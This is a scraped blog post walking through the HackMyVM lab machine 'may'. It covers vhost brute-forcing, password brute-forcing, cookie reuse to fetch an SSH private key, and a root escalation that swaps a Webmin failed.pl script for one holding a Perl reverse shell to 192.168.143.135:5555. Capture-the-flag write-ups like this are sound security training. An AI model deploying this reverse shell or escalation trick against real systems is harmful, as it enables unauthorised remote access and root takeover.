当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:59:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集
访问80,Would jump to domain namemay.hmv
访问,这里需添加hosts访问.
Got a user Mingmarie
.
Blasting directory failed,于是爆破vhost.
找到两个vhost,portal
和ssh
.添加hosts后访问portal.may.hmv
.This a login page,会验证用户名和密码,After a failed attempt to inject,Using the user name password try blasting obtained from the front.
得到密码rebelde
And capturing the successcookie,将这个cookie注入到http://ssh.may.hmv/check.php
的请求中去,成功获取marie
用户的私钥.
获取user flag
To save the private key,And Settings for the current user to read and write only,ssh登录marie
.
获取root flag
查看root
用户进程,Found the following process.
查看miniserv.conf文件权限,发现marie
可以直接编辑,于是在home
目录下创建一个failed.pl
替换掉默认的.
在failed.pl
Add the reboundshell代码.
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot).After the restart casuallywebminTo log on to a wrong account can reboundroot.
边栏推荐
- vim edit mode
- Orasi: 1 vulnhub walkthrough
- 微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
- PHP有哪些杀手级超厉害框架或库或应用?
- hackmyvm: again walkthrough
- hackmyvm: juggling walkthrough
- The focus of the Dom implementation input triggers
- ES6介绍+定义变量+不同情况下箭头函数的this指向
- Introduction to PHP (self-study notes)
- (7) superficial "crawlers" process (concept + practice)
猜你喜欢
MOMENTUM: 2 vulnhub walkthrough
(3) 字符串
Alfa: 1 vulnhub walkthrough
VIKINGS: 1 vulnhub walkthrough
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
CTF入门笔记之ping
IP门禁:手把手教你用PHP实现一个IP防火墙
Several interesting ways to open PHP: from basic to perverted
ES6迭代器解释举例
Alfa: 1 vulnhub walkthrough
随机推荐
解决5+APP真机测试无法访问后台(同局域网)
IP门禁:手把手教你用PHP实现一个IP防火墙
[symfony/finder]最好用的文件操作库
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
Phpstudy installs Thinkphp6 (problem + solution)
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
PHP image compression to specified size
hackmyvm: juggling walkthrough
12.什么是JS
The focus of the Dom implementation input triggers
16. JS events, string and operator
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
MOMENTUM: 2 vulnhub walkthrough
PHP的几个有趣的打开方式:从基本到变态
IO stream, encoding table, character stream, character buffer stream
SQL:DDL、DML、DQL、DCL相应介绍以及演示
Praying: 1 vulnhub walkthrough
Praying: 1 vulnhub walkthrough
12. What is JS
hackmyvm: may walkthrough